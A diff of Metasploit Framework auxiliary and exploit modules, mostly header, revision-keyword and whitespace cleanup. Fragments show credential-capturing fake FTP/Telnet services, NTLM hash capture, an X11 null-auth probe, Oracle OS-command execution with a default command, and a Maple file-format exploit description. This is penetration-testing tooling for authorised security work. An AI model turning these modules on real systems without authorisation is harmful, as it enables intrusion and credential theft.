require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::DECT_COA
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DECT Call Scanner',
|
||||
@@ -13,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'Author' => [ 'DK <privilegedmode@gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [ ['Dedected', 'http://www.dedected.org'] ]
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptBool.new('VERBOSE',[false, 'Print out verbose information during the scan', true])
|
||||
], self.class )
|
||||
@@ -23,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
print_line("Time\t\t\t\tRFPI\t\tChannel")
|
||||
@calls.each do |rfpi, data|
|
||||
print_line("#{data['time']}\t#{data['rfpi']}\t#{data['channel']}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -34,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
while(true)
|
||||
data = poll_coa()
|
||||
puts data
|
||||
end
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
@@ -43,9 +53,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
print_status("Opening interface: #{datastore['INTERFACE']}")
|
||||
print_status("Using band: #{datastore['band']}")
|
||||
|
||||
|
||||
open_coa
|
||||
|
||||
|
||||
begin
|
||||
|
||||
print_status("Changing to call scan mode.")
|
||||
@@ -73,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
stop_coa()
|
||||
close_coa()
|
||||
end
|
||||
|
||||
|
||||
print_results
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,10 +1,20 @@
|
||||
require 'msf/core'
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::DECT_COA
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DECT Base Station Scanner',
|
||||
@@ -13,29 +23,29 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'Author' => [ 'DK <privilegedmode@gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [ ['Dedected', 'http://www.dedected.org'] ]
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptBool.new('VERBOSE',[false, 'Print out verbose information during the scan', true])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
||||
|
||||
def print_results
|
||||
print_line("RFPI\t\tChannel")
|
||||
@base_stations.each do |rfpi, data|
|
||||
print_line("#{data['rfpi']}\t#{data['channel']}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
@base_stations = {}
|
||||
|
||||
|
||||
print_status("Opening interface: #{datastore['INTERFACE']}")
|
||||
print_status("Using band: #{datastore['band']}")
|
||||
|
||||
|
||||
open_coa
|
||||
|
||||
|
||||
begin
|
||||
|
||||
print_status("Changing to fp scan mode.")
|
||||
@@ -59,13 +69,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
print_status("Switching to channel: #{channel}")
|
||||
end
|
||||
sleep(1)
|
||||
end
|
||||
end
|
||||
ensure
|
||||
print_status("Closing interface")
|
||||
stop_coa()
|
||||
close_coa()
|
||||
end
|
||||
|
||||
|
||||
print_results
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -5,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -5,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
@@ -6,11 +9,9 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/socket/ssl_tcp'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
@@ -9,7 +9,6 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/http'
|
||||
|
||||
@@ -18,11 +17,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Pull Del.icio.us Links (URLs) for a domain',
|
||||
'Description' => %q{ This module pulls and parses the URLs stored by Del.icio.us users for the
|
||||
purpose of replaying during a web assessment. Finding unlinked and old pages. },
|
||||
'Description' => %q{
|
||||
This module pulls and parses the URLs stored by Del.icio.us users for the
|
||||
purpose of replaying during a web assessment. Finding unlinked and old pages.
|
||||
},
|
||||
'Author' => [ 'Rob Fuller <mubix [at] hak5.org>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 7206 $'))
|
||||
'Version' => '$Revision$'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [ true, "Domain to request URLS for"]),
|
||||
|
||||
@@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
replaying during a web assessment. Finding unlinked and old pages. },
|
||||
'Author' => [ 'Rob Fuller <mubix [at] hak5.org>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 7206 $'))
|
||||
'Version' => '$Revision$'))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [ true, "Domain to request URLS for"]),
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -27,16 +31,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
requires either Basic, Digest or NTLM authentication.
|
||||
},
|
||||
'Author' => [ 'et', 'patrick' ],
|
||||
'Version' => '$Revision$',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSB', 'MS09-020' ],
|
||||
[ 'CVE', '2009-1535' ],
|
||||
[ 'CVE', '2009-1122' ],
|
||||
[ 'OSVDB', '54555' ],
|
||||
[ 'BID', '34993' ],
|
||||
],
|
||||
'Version' => '$Revision$'))
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -5,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
@@ -26,7 +28,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'Author' => ['CG'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
|
||||
@@ -1,5 +1,15 @@
|
||||
require 'msf/core'
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
@@ -7,12 +17,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::WMAPScanUniqueQuery
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SQLMAP SQL Injection External Module',
|
||||
'Description' => %q{
|
||||
This module launch a sqlmap session.
|
||||
This module launch a sqlmap session.
|
||||
sqlmap is an automatic SQL injection tool developed in Python.
|
||||
Its goal is to detect and take advantage of SQL injection
|
||||
vulnerabilities on web applications. Once it detects one
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
@@ -6,7 +9,6 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -5,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
@@ -21,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP Subversion Scanner',
|
||||
'Version' => '$Revision: 6485 $',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Detect subversion directories and files and analize its content. Only SVN Version > 7 supported',
|
||||
'Author' => ['et'],
|
||||
'License' => MSF_LICENSE
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
@@ -25,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP trace.axd Content Scanner',
|
||||
'Version' => '$Revision: 7605 $',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Detect trace.axd files and analize its content',
|
||||
'Author' => ['c4an'],
|
||||
'License' => MSF_LICENSE
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -8,7 +12,6 @@
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
@@ -24,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
},
|
||||
'Author' => [ 'et' ],
|
||||
'License' => BSD_LICENSE,
|
||||
'Version' => '$Revision: 7629 $'))
|
||||
'Version' => '$Revision$'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
||||
@@ -11,7 +11,6 @@
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
@@ -22,11 +21,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
super(
|
||||
'Name' => 'SunRPC Portmap Program Enumerator',
|
||||
'Description' => %q{
|
||||
This module calls the target portmap service and enumerates all
|
||||
This module calls the target portmap service and enumerates all
|
||||
program entries and their running port numbers.
|
||||
},
|
||||
'Author' => ['<tebo [at] attackresearch.com>'],
|
||||
'References' =>
|
||||
'Author' => ['<tebo [at] attackresearch.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.ietf.org/rfc/rfc1057.txt'],
|
||||
],
|
||||
@@ -83,4 +83,3 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -18,15 +18,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NFS Mount Scanner',
|
||||
'Description' => %q{
|
||||
This module scans NFS mounts and their permissions.
|
||||
},
|
||||
'Author' => ['<tebo[at]attackresearch.com>'],
|
||||
'References' =>
|
||||
'Author' => ['<tebo[at]attackresearch.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '1999-0170'],
|
||||
['URL', 'http://www.ietf.org/rfc/rfc1094.txt']
|
||||
|
||||
@@ -24,7 +24,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
This module attempts to retrieve the sid from the Oracle XML DB httpd server,
|
||||
utilizing Pete Finnigan s default oracle password list.
|
||||
},
|
||||
'Version' => '$Revision: 6876 $',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -5,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Telnet
|
||||
|
||||
@@ -48,9 +48,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# X11.00 Null Auth Connect
|
||||
sock.put("\x6c\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
response = sock.get_once
|
||||
|
||||
|
||||
disconnect
|
||||
|
||||
|
||||
if(response)
|
||||
success = response[0,1].unpack('C')[0]
|
||||
end
|
||||
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
else
|
||||
# X can return a reason for auth failure but we don't really care for this
|
||||
end
|
||||
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::Errno::EPIPE
|
||||
end
|
||||
|
||||
@@ -9,23 +9,20 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Authentication Capture: FTP',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module provides a fake FTP service that
|
||||
is designed to capture authentication credentials.
|
||||
This module provides a fake FTP service that
|
||||
is designed to capture authentication credentials.
|
||||
},
|
||||
'Author' => ['ddz', 'hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -33,6 +33,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
[
|
||||
'Ryan Linn <sussurro[at]happypacket.net>',
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
@@ -49,6 +50,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptString.new('PWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ])
|
||||
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]),
|
||||
OptString.new('SERVER', [ false, "The default server to use for NTLM authentication", "SERVER"]),
|
||||
|
||||
@@ -1,3 +1,14 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
# Fake Telnet Service - Kris Katterjohn 09/28/2008
|
||||
|
||||
@@ -9,11 +9,9 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
#require 'rex/exploitation/javascriptosdetect'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
@@ -21,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'File Format Exploit Generator',
|
||||
'Version' => '$Revision: 8210 $',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module generates a combination of File format exploits and make them available to a client. 94.7% Based on browser autopwn by egypt.
|
||||
},
|
||||
|
||||
@@ -14,7 +14,6 @@ require 'net/dns'
|
||||
require 'racket'
|
||||
require 'resolv'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
@@ -1,12 +1,22 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/dns'
|
||||
require 'resolv'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Lookup Result Comparison',
|
||||
'Description' => %q{
|
||||
This module can be used to determine differences
|
||||
@@ -22,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
],
|
||||
'DisclosureDate' => 'Jul 21 2008'
|
||||
))
|
||||
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('BASEDNS', [ true, 'The DNS cache server to use as a baseline', '4.2.2.3' ]),
|
||||
@@ -30,13 +40,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptString.new('NAMES', [ true, 'The list of host names that should be tested (comma separated)', 'www.google.com,www.yahoo.com,www.msn.com']),
|
||||
OptBool.new('CHECK_AUTHORITY', [ false, 'Set this to true to verify authority records', false ]),
|
||||
OptBool.new('CHECK_ADDITIONAL', [ false, 'Set this to true to verify additional records', false ]),
|
||||
|
||||
|
||||
], self.class)
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
|
||||
|
||||
def run
|
||||
base_addr = datastore['BASEDNS']
|
||||
targ_addr = datastore['TARGDNS']
|
||||
check_ar = datastore['CHECK_ADDITIONAL']
|
||||
@@ -44,27 +54,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||
names = datastore['NAMES'].split(",").map {|c| c.strip }
|
||||
recurse = true
|
||||
results = {}
|
||||
|
||||
|
||||
print_status("Comparing results between #{base_addr} and #{targ_addr}...")
|
||||
|
||||
base_sock = Rex::Socket.create_udp(
|
||||
'PeerHost' => base_addr,
|
||||
'PeerPort' => 53
|
||||
)
|
||||
|
||||
|
||||
targ_sock = Rex::Socket.create_udp(
|
||||
'PeerHost' => targ_addr,
|
||||
'PeerPort' => 53
|
||||
)
|
||||
)
|
||||
|
||||
names.each do |entry|
|
||||
entry.strip!
|
||||
next if (entry.length == 0)
|
||||
|
||||
|
||||
req = Resolv::DNS::Message.new
|
||||
req.add_question(entry, Resolv::DNS::Resource::IN::A)
|
||||
req.rd = recurse ? 1 : 0
|
||||
|
||||
|
||||
buf = req.encode
|
||||
print_status("Querying servers for #{entry}...")
|
||||
base_sock.put(buf)
|
||||
@@ -72,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
base_res, base_saddr = base_sock.recvfrom(65535, 3.0)
|
||||
targ_res, targ_saddr = targ_sock.recvfrom(65535, 3.0)
|
||||
|
||||
|
||||
if !(base_res and targ_res and base_res.length > 0 and targ_res.length > 0)
|
||||
print_status(" Error: The baseline server did not respond to our request.") if ! (base_res and base_res.length > 0)
|
||||
print_status(" Error: The target server did not respond to our request.") if ! (targ_res and targ_res.length > 0)
|
||||
@@ -81,14 +91,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
base_res = Resolv::DNS::Message.decode(base_res)
|
||||
targ_res = Resolv::DNS::Message.decode(targ_res)
|
||||
|
||||
|
||||
[base_res, targ_res].each do |res|
|
||||
hkey = (res == base_res) ? :base : :targ
|
||||
|
||||
|
||||
rrset = res.answer
|
||||
rrset += res.authority if check_aa
|
||||
rrset += res.additional if check_ar
|
||||
|
||||
|
||||
(rrset).each do |ref|
|
||||
name,ttl,data = ref
|
||||
|
||||
@@ -104,7 +114,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
when 'TXT'
|
||||
data = data.strings.join
|
||||
when 'CNAME'
|
||||
data = data.name.to_s
|
||||
data = data.name.to_s
|
||||
else
|
||||
data = anst
|
||||
end
|
||||
@@ -116,20 +126,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
[ base_sock, targ_sock ].each {|s| s.close }
|
||||
|
||||
|
||||
|
||||
|
||||
print_status("Analyzing results for #{results.keys.length} entries...")
|
||||
|
||||
|
||||
results.each_key do |entry|
|
||||
|
||||
|
||||
n_add = []
|
||||
n_sub = []
|
||||
|
||||
|
||||
# Look for additional entries in the target NS
|
||||
if(results[entry][:targ])
|
||||
results[entry][:targ].each_key do |rtype|
|
||||
results[entry][:targ].each_key do |rtype|
|
||||
if(not results[entry][:base] or not results[entry][:base][rtype])
|
||||
results[entry][:targ][rtype].sort.each do |ref|
|
||||
n_sub << (" + #{entry} #{rtype} #{ref}")
|
||||
@@ -137,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if (results[entry][:base])
|
||||
results[entry][:base].each_key do |rtype|
|
||||
|
||||
@@ -160,15 +170,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if(not results[entry][:base][rtype].include?(ref))
|
||||
n_add << (" + #{entry} #{rtype} #{ref}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
n_sub.each {|s| print_status(s) }
|
||||
n_add.each {|s| print_status(s) }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
},
|
||||
'Author' => [ 'MC' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: $',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-0870' ],
|
||||
|
||||
@@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
},
|
||||
'Author' => [ 'MC' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision:$',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2006-2081' ],
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -15,10 +19,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
super(update_info(info,
|
||||
'Name' => ' DBMS_JVM_EXP_PERMS 10gR2, 11gR1/R2 OS Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows
|
||||
This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows
|
||||
any user with create session privilege to grant themselves java IO privileges.
|
||||
Identified by David Litchfield. Works on 10g R2, 11g R1 and R2 (Windows only)
|
||||
|
||||
},
|
||||
'Author' => [ 'sid[at]notsosecure.com' ],
|
||||
'License' => MSF_LICENSE,
|
||||
@@ -30,10 +33,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
],
|
||||
'DisclosureDate' => 'Feb 1 2010'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]),
|
||||
], self.class)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -16,9 +20,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'Name' => ' DBMS_JVM_EXP_PERMS 11g R1/R2 OS Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows
|
||||
any user with create session privilege to grant themselves java IO privileges.
|
||||
any user with create session privilege to grant themselves java IO privileges.
|
||||
Identified by David Litchfield. Works on 11g R1 and R2 (Windows only).
|
||||
|
||||
},
|
||||
'Author' => [ 'sid[at]notsosecure.com' ],
|
||||
'License' => MSF_LICENSE,
|
||||
@@ -30,10 +33,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
],
|
||||
'DisclosureDate' => 'Feb 1 2010'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]),
|
||||
], self.class)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
@@ -9,13 +9,10 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/encoder/alpha2/alpha_mixed'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Encoder::Alphanum
|
||||
|
||||
Rank = LowRanking
|
||||
|
||||
def initialize
|
||||
@@ -64,7 +61,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||
|
||||
buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Configure SEH getpc code on Windows
|
||||
#
|
||||
@@ -73,7 +70,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||
datastore['AllowWin32SEH'] = true
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Encodes a one byte block with the current index of the length of the
|
||||
# payload.
|
||||
@@ -89,4 +86,3 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||
state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator()
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -23,11 +23,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
This module harnesses Maple's ability to create files and execute commands
|
||||
automatically when opening a Maplet. All versions up to 13 are suspected
|
||||
vulnerable. Testing was conducted with version 13 on Windows. Standard security
|
||||
settings prevent code from running in a normal maple worksheet without user
|
||||
settings prevent code from running in a normal maple worksheet without user
|
||||
interaction, but those setting do not prevent code in a Maplet from running.
|
||||
|
||||
In order for the payload to be executed, an attacker must convince someone to
|
||||
open a specially modified .maplet file with Maple. By doing so, an attacker can
|
||||
open a specially modified .maplet file with Maple. By doing so, an attacker can
|
||||
